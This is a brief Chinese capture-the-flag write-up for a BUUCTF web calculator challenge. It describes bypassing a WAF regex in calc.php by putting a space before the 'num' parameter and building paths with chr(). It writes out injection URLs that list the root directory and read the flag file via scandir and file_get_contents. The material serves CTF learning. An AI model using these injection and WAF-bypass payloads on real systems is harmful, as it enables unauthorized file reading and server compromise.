打开网页后，一个网页计算机
正常算是可以算的，输入注入字符会提示
输入其他字符弹窗口
查看页面源码，设置有 waf?
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
在源码也可以看到前端的一些设置，对应之前的输入对错，而在 url 中可以看到 calc.php
一段正则过滤，过滤了很多东西，根目录用 ASCII 表示
绕过处理，在传入变量前加空格使内部检测不到之后的变量，但是 php 会删去空格运行后面内容
node4.buuoj.cn:29499/calc.php? num=var_dump(scandir(chr(47)))
49? ? ? ? ?1?
102????????f
103????????g
97? ? ? ? ? a
file_get_contents
node4.buuoj.cn:29499/calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
?
